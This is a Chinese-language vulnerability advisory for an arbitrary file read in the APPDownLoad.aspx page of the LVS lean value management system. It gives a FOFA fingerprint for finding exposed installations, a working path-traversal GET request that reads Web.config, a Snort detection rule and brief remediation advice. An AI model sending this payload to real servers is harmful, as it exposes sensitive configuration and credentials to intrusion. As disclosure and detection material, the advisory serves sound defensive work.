跳转至

LVS精益价值管理系统 APPDownLoad.aspx 存在任意文件读取

LVS精益价值管理系统 APPDownLoad.aspx 存在任意文件读取，攻击者可进行文件读取，获取重要敏感配置信息。

影响版本

LVS精益价值管理系统

漏洞状态

漏洞细节 漏洞POC 漏洞EXP 在野利用
是 已公开 已公开 已知

风险等级

维度 评价
威胁等级 高危
影响面 广
攻击者价值 高
利用难度 低

漏洞复现

FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"

POC/EXP：

GET /Business/APPDownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: keep-alive

image-20260313145105062

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"LVS精益价值管理系统 - Arbitrary File Read via APPDownLoad.aspx";
    flow:to_server,established;
    http.method; content:"GET";
    http.uri; content:"/Business/APPDownLoad.aspx";
    http.uri; pcre:"/p=UploadFile\\/\\.\\.\\/Web\\.Config/i";
    metadata:
        service http,
        affected_product "LVS精益价值管理系统",
        vulnerability_type "Arbitrary File Read",
        severity "high";
    classtype:web-application-attack;
    sid:1000631;
    rev:1;
    priority:1;
)

漏洞修复

关闭互联网暴露面或接口设置访问权限，升级至安全版本。